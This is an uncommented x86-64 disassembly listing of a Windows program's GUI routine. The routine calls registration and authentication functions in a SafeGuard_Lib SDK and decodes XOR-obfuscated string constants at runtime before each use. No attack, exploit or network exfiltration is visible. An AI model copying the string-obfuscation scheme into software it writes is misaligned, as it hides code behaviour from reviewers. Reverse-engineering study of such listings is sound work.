mov rcx, rbx
movss dword [rsp + 0x20], xmm0
call fcn.140023920
jmp 0x140043f7b
movss xmm6, dword [0x1400c5b8c]
cmp dword [0x1415573e0], r13d
jne 0x14004476c
mov rcx, qword [0x1415573c0]
call fcn.140012310
lea rdx, [0x141557678]
lea rcx, [rbp + 0x940]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x950]
mov r8d, edx
mov esi, eax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
lea rdx, [0x141557678]
mov edi, eax
lea rcx, [rbp + 0x960]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm1, dword [0x1400c5d24]
lea rcx, [rbp + 0x200]
movaps xmm2, xmm15
mov ebx, eax
call fcn.1400013d0
movabs rcx, 0x4fe8f3a12dd0f9e0
movss dword [rsp + 0x28], xmm6
mov r9d, edi
mov dword [rsp + 0x20], esi
mov r8d, ebx
movss xmm1, dword [rax]
movss xmm2, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2911b4dc059b2fcd
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x978], rax
movabs rax, 0x2911b4dc05d67983
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x970]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x988], rax
movdqa xmm0, xmmword [rbp + 0x980]
xorps xmm0, xmmword [rbp + 0x970]
unpcklps xmm1, xmm2
movq rdx, xmm1
movdqa xmmword [rbp + 0x970], xmm0
call fcn.1400361e0
call fcn.1400123b0
movss xmm6, dword [0x1400c5cec]
lea rcx, [rbp + 0x208]
movss xmm2, dword [0x1400c5ce8]
movaps xmm1, xmm6
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
movss xmm2, dword [0x1400c5c88]
lea rcx, [rbp + 0x210]
movss xmm1, dword [0x1400c5d28]
call fcn.1400013d0
mov rdx, rax
movabs rbx, 0x4fe8f3a12dd0f9e0
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2974c7b260b510cf
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x990], rcx
mov qword [rbp + 0x10], rbx
lea r8, [0x141557590]
mov rcx, qword [rbp + 0x10]
xor esi, esi
mov qword [rbp + 0x998], rcx
movabs rax, 0x2911b4dc05d67983
mov qword [rbp + 0x10], rax
lea rcx, [0x1400c22e0]
mov rax, qword [rbp + 0x10]
mov r9d, 0x40
mov qword [rbp + 0x9a0], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x9a8], rax
movdqa xmm0, xmmword [rbp + 0x9a0]
xorps xmm0, xmmword [rbp + 0x990]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdx
lea rdx, [rbp + 0x990]
movdqa xmmword [rbp + 0x990], xmm0
call fcn.14003a150
call fcn.1400128f0
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5b64c7fc60bd18ce
mov qword [rbp + 0x10], rax
movabs rax, 0x2a80908142a4d985
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x4900], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x68a5c1dffd35dc2e
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x4908], rcx
movabs rcx, 0xebfb36d3369bd2ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4910], rax
movabs rax, 0x59d2b024c5b8d3ca
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4918], rax
movabs rax, 0xa80c8c0a968e2cde
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4920], rax
movabs rax, 0x80e03492df785186
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4928], rax
movabs rax, 0x3d35f2c6c3d1d7cf
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4930], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4938], rax
movabs rax, 0x2911b4dc05d67983
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4940], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4948], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4950], rax
movabs rax, 0x2fa0d557e5debcea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4958], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4960], rax
movabs rax, 0xe9945afdbc5834f4
mov qword [rbp + 0x10], rax
mov edx, 0xbe
mov rax, qword [rbp + 0x10]
mov r9d, edx
mov qword [rbp + 0x4968], rax
mov r8d, edx
movabs rax, 0x3d35f2c6c3b4a2a1
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4970], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x9b0]
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x4940]
vpxor ymm1, ymm0, ymmword [rbp + 0x4900]
vmovdqu ymm0, ymmword [rbp + 0x4920]
vmovdqa ymmword [rbp + 0x4900], ymm1
mov qword [rbp + 0x4978], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x4960]
vmovdqa ymmword [rbp + 0x4920], ymm1
vzeroupper
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5d04]
lea rcx, [rbp + 0x218]
movaps xmm1, xmm6
mov ebx, eax
call fcn.1400013d0
movss xmm2, dword [0x1400c5c48]
lea rcx, [rbp + 0x4900]
mov rdx, qword [0x1415573c8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
movss xmm2, dword [0x1400c5d1c]
lea rcx, [rbp + 0x220]
movaps xmm1, xmm6
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
movss xmm1, dword [0x1400c5d28]
lea rcx, [rbp + 0x228]
movaps xmm2, xmm7
call fcn.1400013d0
mov rdx, rax
movabs rdi, 0x4fe8f3a12dd0f9e0
xor eax, eax
xor r8d, r8d
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x297ffdfc6bb110d0
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x9c0], rcx
mov qword [rbp + 0x10], rdi
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x9c8], rcx
lea rcx, [rbp + 0x9c0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x9d0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x9c0]
mov qword [rbp + 0x9d8], rax
xorps xmm0, xmmword [rbp + 0x9d0]
movdqa xmmword [rbp + 0x9c0], xmm0
call fcn.1400345c0
test al, al
je 0x1400445de
lea rbx, [0x141557590]
mov rdx, rbx
lea rcx, [rbp + 0x1b60]
call fcn.14002b4a0
mov rdx, rbx
lea rcx, [rbp + 0x1b80]
call fcn.14002b4a0
lea r8, [rbp + 0x1b60]
lea rdx, [rbp + 0x1b80]
lea rcx, [rbp + 0x7db0]
call qword [sym.imp.SafeGuard_Lib.dll_public:_int___cdecl_SDK::registerUser_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64____ptr64]
lea rcx, [rbp + 0x1b80]
call fcn.14002b440
lea rcx, [rbp + 0x1b60]
call fcn.14002b440
mov rdx, rbx
lea rcx, [rbp + 0x1ba0]
call fcn.14002b4a0
lea rdx, [rbp + 0x1ba0]
lea rcx, [rbp + 0x7db0]
call qword [sym.imp.SafeGuard_Lib.dll_public:_bool___cdecl_SDK::authenticateUser_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64____ptr64]
lea rcx, [rbp + 0x1ba0]
movzx ebx, al
call fcn.14002b440
test bl, bl
je 0x140044763
xor eax, eax
lea rdx, [0x141557590]
mov byte [rbp], al
lea rcx, [rbp + 0x9e0]
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2974c7b260b510cf
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x9e0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x9e8], rax
movabs rax, 0x2911b4dc05d67983
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x9f0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x9e0]
mov qword [rbp + 0x9f8], rax
xorps xmm0, xmmword [rbp + 0x9f0]
movdqa xmmword [rbp + 0x9e0], xmm0
call fcn.1400428c0
mov dword [0x1415573e0], 2
cmp byte [rbp + 0x20], sil
je 0x140044776
call fcn.1400128f0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x4c7cd5b277b30ad6
mov qword [rbp + 0x10], rax
movabs rax, 0x3a87b58159bfb7c0
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1bc0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x1bc8b3ba8934d323
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1bc8], rcx
movabs rcx, 0x2fa0d557e5debcea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1bd0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1bd8], rax
movabs rax, 0x2911b4dc05d67983
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1be0], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1be8], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1bf0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0xa00]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1bf8], rax
vmovdqu ymm0, ymmword [rbp + 0x1be0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1bc0]
vmovdqa ymmword [rbp + 0x1bc0], ymm1
vzeroupper
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5d38]
lea rcx, [rbp + 0x230]
movss xmm1, dword [0x1400c5d14]
mov ebx, eax
call fcn.1400013d0
movss xmm6, dword [0x1400c5c60]
lea rcx, [rbp + 0x1bc0]
mov rdx, qword [0x1415573c8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm6
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
movabs rdi, 0x4fe8f3a12dd0f9e0
jmp 0x14004477e
mov byte [rbp + 0x20], r13b
jmp 0x1400445e8
movabs rdi, 0x4fe8f3a12dd0f9e0
movss xmm6, dword [0x1400c5c60]
cmp dword [0x1415573e0], 2
jne 0x140044bb7
movss xmm2, dword [0x1400c5ce8]
lea rcx, [rbp + 0x238]
movss xmm1, dword [0x1400c5d3c]
addss xmm12, dword [0x1400c5be0]
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
mov edx, 0xff
mov dword [rsp + 0x20], esi
mov r9d, edx
lea rcx, [rbp + 0xa10]
mov r8d, edx
call fcn.14002b3c0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xa20]
mov r8d, edx
mov rbx, rax
call fcn.14002b3c0
movss xmm2, dword [0x1400c5c2c]
mov r9, rax
xor eax, eax
mov dword [rsp + 0x38], esi
mov byte [rbp], al
movaps xmm1, xmm6
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2976dab561b716cf
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xa30], rcx
mov qword [rbp + 0x10], rdi
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xa38], rcx
lea rcx, [rbp + 0xa30]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa40], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xa30]
mov qword [rbp + 0xa48], rax
xorps xmm0, xmmword [rbp + 0xa40]
movdqa xmmword [rbp + 0xa30], xmm0
movss xmm0, dword [0x1400c5c24]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x1400c5c38]
movss dword [rsp + 0x28], xmm0
mov qword [rsp + 0x20], rbx
call fcn.14003d220
cmp byte [0x141556899], 0
je 0x140044a2d
movss xmm2, dword [0x1400c5d04]
lea rcx, [rbp + 0x240]
movss xmm1, dword [0x1400c5d1c]
call fcn.1400013d0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xa50]
mov r8d, edx
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
call fcn.14002b3c0
movss xmm3, dword [0x1400c5bf0]
lea r8, [rbp + 0x10]
movabs rsi, 0x2fa0d557e5debcea
unpcklps xmm6, xmm7
movabs rbx, 0x2911b4dc05d67983
lea rdx, [rbp + 0x1c00]
movups xmm2, xmmword [rax]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x976dab571a21cc4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c00], rax
movabs rax, 0x2986ba815fb58ab5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c08], rax
movabs rax, 0x1bc8b3ba8915b722
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c10], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c18], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c20], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c28], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c30], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x1415573c8]
mov qword [rbp + 0x1c38], rax
vmovdqu ymm0, ymmword [rbp + 0x1c20]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c00]
vmovss xmm0, dword [0x1400c5c64]
vmovss dword [rsp + 0x28], xmm0
vmovsd qword [rsp + 0x20], xmm6
vmovdqa ymmword [rbp + 0x1c00], ymm1
vmovdqa xmmword [rbp + 0x10], xmm2
vzeroupper
call fcn.1400425a0
comiss xmm12, dword [0x1400c5d94]
jbe 0x140044a41
mov byte [0x141556899], 0
movaps xmm12, xmm14
mov byte [0x14155749d], r13b
jmp 0x140044a4e
movabs rbx, 0x2911b4dc05d67983
movabs rsi, 0x2fa0d557e5debcea
cmp byte [0x14155749d], 0
je 0x140044bb7
movss xmm2, dword [0x1400c5d04]
lea rcx, [rbp + 0x248]
movss xmm1, dword [0x1400c5d14]
call fcn.1400013d0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xa60]
mov r8d, edx
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
call fcn.14002b3c0
movss xmm3, dword [0x1400c5bf0]
lea r8, [rbp + 0x10]
unpcklps xmm6, xmm7
lea rdx, [rbp + 0x1c40]
movups xmm2, xmmword [rax]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x976dab571a21cd0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c40], rax
movabs rax, 0x29879cd17ef089b5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c48], rax
movabs rax, 0x1bc8b3ba8915c528
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c50], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c58], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c60], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c68], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c70], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x1415573c8]
mov qword [rbp + 0x1c78], rax
vmovdqu ymm0, ymmword [rbp + 0x1c60]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c40]
vmovss xmm0, dword [0x1400c5c64]
vmovss dword [rsp + 0x28], xmm0
vmovsd qword [rsp + 0x20], xmm6
vmovdqa ymmword [rbp + 0x1c40], ymm1
vmovdqa xmmword [rbp + 0x10], xmm2
vzeroupper
call fcn.1400425a0
comiss xmm12, dword [0x1400c5d94]
jbe 0x140044bb7
mov byte [0x14155749d], 0
movaps xmm12, xmm14
mov dword [0x1415573e0], 3
jmp 0x140044bc4
cmp dword [0x1415573e0], 3
jne 0x1400461ef
call fcn.1400128f0
mov edx, 0x10
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xa70]
mov r8d, edx
mov rsi, rax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x141556904]
lea rcx, [rbp + 0x250]
movss xmm1, dword [0x1400c5cb8]
mov edi, eax
call fcn.1400013d0
movaps xmm2, xmm14
lea rcx, [rbp + 0x258]
movaps xmm1, xmm14
mov rbx, rax
call fcn.1400013d0
movss xmm0, dword [0x1400c5c58]
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
mov rdx, rax
movss dword [rsp + 0x20], xmm0
mov rcx, rsi
call fcn.140023a00
movss xmm7, dword [0x1400c5c80]
lea rcx, [rbp + 0x260]
movaps xmm2, xmm7
movaps xmm1, xmm7
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
call fcn.1400168d0
mov rcx, qword [rbp + 0x160]
call fcn.140012310
movaps xmm2, xmm15
lea rcx, [rbp + 0x268]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 3
lea rdx, [0x1400c22e4]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140044cbd
mov dword [0x1415573e0], 3
movaps xmm2, xmm15
lea rcx, [rbp + 0x270]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 4
lea rdx, [0x1400c22e8]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140044cf8
mov dword [0x1415573e0], 4
movaps xmm2, xmm15
lea rcx, [rbp + 0x278]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 5
lea rdx, [0x1400c22ec]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140044d33
mov dword [0x1415573e0], 5
movaps xmm2, xmm15
lea rcx, [rbp + 0x280]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 6
lea rdx, [0x1400c22f0]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140044d6e
mov dword [0x1415573e0], 6
movaps xmm2, xmm15
lea rcx, [rbp + 0x288]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 7
lea rdx, [0x1400c22f4]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140044da9
mov dword [0x1415573e0], 7
call fcn.1400123b0
call fcn.140016a30
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x290]
movss xmm1, dword [rbp + 0x190]
addss xmm2, dword [0x1400c5c8c]
addss xmm1, dword [0x1400c5cc8]
call fcn.1400013d0
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x298]
movss xmm1, dword [rbp + 0x190]
addss xmm2, dword [0x1400c5d20]
addss xmm1, dword [0x1400c5d90]
call fcn.1400013d0
movaps xmm2, xmm14
lea rcx, [rbp + 0x2a0]
movaps xmm1, xmm14
call fcn.1400013d0
lea rdx, [0x141557678]
mov rbx, rax
lea rcx, [rbp + 0xa80]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm0, dword [0x1400c5ca4]
lea r8, [rbp + 0x298]
movss dword [rsp + 0x38], xmm14
lea rdx, [rbp + 0x290]
xor esi, esi
mov r9d, eax
mov dword [rsp + 0x30], esi
mov rcx, r14
mov qword [rsp + 0x28], rbx
movss dword [rsp + 0x20], xmm0
call fcn.1400253e0
call fcn.1400128f0
lea rdx, [0x141557678]
mov rbx, rax
lea rcx, [rbp + 0xa90]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm0, dword [0x1400c5c00]
lea r8, [rbp + 0x298]
movss dword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x290]
movss xmm0, dword [0x1400c5c1c]
mov r9d, eax
mov dword [rsp + 0x28], esi
mov rcx, rbx
movss dword [rsp + 0x20], xmm0
call fcn.140023920
call fcn.1400128f0
mov rdi, rax
lea rdx, [0x141557678]
xor eax, eax
movabs r14, 0x4fe8f3a12dd0f9e0
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2911b4dc05d679c7
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xaa0], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xaa8], rcx
lea rcx, [rbp + 0xac0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xab0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xaa0]
mov qword [rbp + 0xab8], rax
xorps xmm0, xmmword [rbp + 0xab0]
movdqa xmmword [rbp + 0xaa0], xmm0
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5c74]
lea rcx, [rbp + 0x2a8]
movss xmm1, dword [0x1400c5ccc]
mov ebx, eax
call fcn.1400013d0
movss xmm6, dword [0x1400c5c60]
lea rcx, [rbp + 0xaa0]
mov rdx, qword [0x1415573d0]
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm6
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xf0
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x467dd1bb6bb711c0
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3a12dd0f987
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xad0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xad8], rcx
lea rcx, [rbp + 0xaf0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xae0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xae8], rax
movdqa xmm0, xmmword [rbp + 0xae0]
xorps xmm0, xmmword [rbp + 0xad0]
movdqa xmmword [rbp + 0xad0], xmm0
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5c74]
lea rcx, [rbp + 0x2b0]
movss xmm1, dword [0x1400c5ce4]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
lea rcx, [rbp + 0xad0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5c7ddb8a258b52d8
mov qword [rbp + 0x10], rax
movabs rax, 0x3bdb68169999c8d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1c80], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x1bacd6c2e053970c
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1c88], rcx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movabs rcx, 0x2fa0d557e5debcea
mov qword [rbp + 0x1c90], rax
mov edx, 0xf0
mov qword [rbp + 0x10], rcx
mov r9d, edx
mov rax, qword [rbp + 0x10]
mov r8d, edx
mov qword [rbp + 0x1c98], rax
movabs rax, 0x2911b4dc05d67983
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ca0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ca8], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1cb0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0xb00]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1cb8], rax
vmovdqu ymm0, ymmword [rbp + 0x1ca0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c80]
vmovdqa ymmword [rbp + 0x1c80], ymm1
mov dword [rsp + 0x20], 0xff
vzeroupper
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5c94]
lea rcx, [rbp + 0x2b8]
movss xmm1, dword [0x1400c5cd8]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
lea rcx, [rbp + 0x1c80]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4075d09d258b52d8
mov qword [rbp + 0x10], rax
movabs rax, 0x6fa1b5e478f09e8e
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1cc0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x1bc89af4c65ae465
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1cc8], rcx
movabs rcx, 0x2fa0d557e5debcea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1cd0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1cd8], rax
movabs rax, 0x2911b4dc05d67983
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ce0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ce8], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1cf0], rax
mov qword [rbp + 0x10], rcx
mov edx, 0xf0
mov rax, qword [rbp + 0x10]
lea rcx, [rbp + 0xb10]
mov qword [rbp + 0x1cf8], rax
mov r9d, edx
vmovdqu ymm0, ymmword [rbp + 0x1ce0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1cc0]
vmovdqa ymmword [rbp + 0x1cc0], ymm1
mov dword [rsp + 0x20], 0xff
mov r8d, edx
vzeroupper
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5ca0]
lea rcx, [rbp + 0x2c0]
